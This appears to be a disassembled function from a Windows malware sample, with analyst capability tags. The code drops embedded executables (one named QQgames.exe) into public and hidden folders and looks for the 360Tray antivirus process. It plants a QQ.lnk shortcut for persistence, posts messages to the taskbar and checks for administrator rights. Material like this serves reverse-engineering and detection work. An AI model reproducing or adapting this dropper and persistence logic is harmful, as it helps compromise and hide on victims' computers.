Function at 0x180007230
Capabilities:
Check if file exists
Create directory
Enumerate processes
Find taskbar
Get common file path
Get file attributes
Get token membership
Persist via lnk shortcut
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xa20]
sub rsp, 0xb20
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r15 + 1]
lea rcx, str.C:UsersPublicDownloadsQQgames.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xa50]
mov r8d, 0x9fa00
lea rdx, [0x180052ec0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000731e
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp - 0x5c]
call fcn.180036260
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007315
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp - 0x34]
call fcn.18001e3ac
mov rcx, rbx
test eax, eax
je 0x18000733f
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800072f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180006900
call fcn.180005cf0
mov rbx, qword [rsp + 0xb68]
add rsp, 0xb20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x810]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0x810]
lea rdx, str._sTCLS
lea rcx, [rbp + 0x1e0]
call fcn.18000be80
xor edx, edx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800073ae
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x70]
call fcn.1800058d0
nop
mov r8d, 4
lea rdx, [0x180044cd8]
lea rcx, [rsp + 0x70]
call fcn.18000b2c0
lea r9, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r9, qword [rsp + 0x70]
lea r8, [rbp + 0x1e0]
lea rdx, str._s_s
lea rcx, [rbp + 0x3f0]
call fcn.18000be80
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xa50]
mov r8d, 0x38748
lea rdx, [0x180122c30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x1e0]
lea rdx, str._sQQ.lnk
lea rcx, [rbp + 0x600]
call fcn.1800040f0
lea r8, [rbp + 0x3f0]
lea rdx, str.__s_
lea rcx, [rbp - 0x60]
call fcn.1800040f0
mov qword [rbp + 0xa50], r15
mov qword [rbp + 0xa58], r15
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0xa50]
mov qword [rsp + 0x20], rax
lea r9, [0x180039540]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x180039560]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x180007557
mov rcx, qword [rbp + 0xa50]
mov rax, qword [rcx]
lea rdx, [rbp + 0x3f0]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0xa50]
mov rax, qword [rcx]
lea rdx, [rbp - 0x60]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0xa50]
mov rax, qword [rcx]
lea r8, [rbp + 0xa58]
lea rdx, [0x180039550]
call qword [rax]
test eax, eax
jns 0x18000751d
mov rcx, qword [rbp + 0xa50]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x180007557
mov rcx, qword [rbp + 0xa58]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x600]
call qword [rax + 0x30]
mov rcx, qword [rbp + 0xa50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xa58]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rcx, [rbp + 0x600]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
movzx r14d, ax
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, [0x18004479d]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
mov ebx, 0x641
mov esi, 0xa
nop
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x1800076e0
lea rdx, [0x180044c80]
lea rcx, [0x18015f230]
call fcn.18000b9d0
lea rdx, str.Hello_World__n
lea rcx, [0x18015f230]
call fcn.18000b9d0
xor r9d, r9d
mov edx, 0x312
lea r8d, [rsi + 5]
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
nop dword [rax]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova rcx, qword [rsp + 0x70]
call fcn.180005c40
test eax, eax
je 0x180007750
mov dword [rbp + 0xa58], 0
mov word [rbp + 0xa5c], 0x500
lea rax, [rbp + 0xa60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0xa58]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1800077f3
lea r8, [rbp + 0xa50]
mov rdx, qword [rbp + 0xa60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1800077e6
mov dword [rbp + 0xa50], r15d
mov rcx, qword [rbp + 0xa60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0xa50], 1
jne 0x180007865
mov ecx, 8
call fcn.180011a1c
lea rcx, [0x180007140]
mov qword [rax], rcx
mov qword [rbp + 0xa50], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x18000eba0]
xor edx, edx
xor ecx, ecx
call fcn.18001ec0c
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1800078bc
cmp dword [rsp + 0x68], 0
je 0x1800078d2
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call fcn.18001156c
test eax, eax
jne 0x1800078d2
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180005cf0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x180007328
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800078b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078cc
call fcn.180011a14
jmp 0x180007328
mov dword [rsp + 0x68], r15d
mov ecx, 6
call fcn.18000ef98
nop
call fcn.180020764
nop
mov ecx, 1
call fcn.18000ef98
int3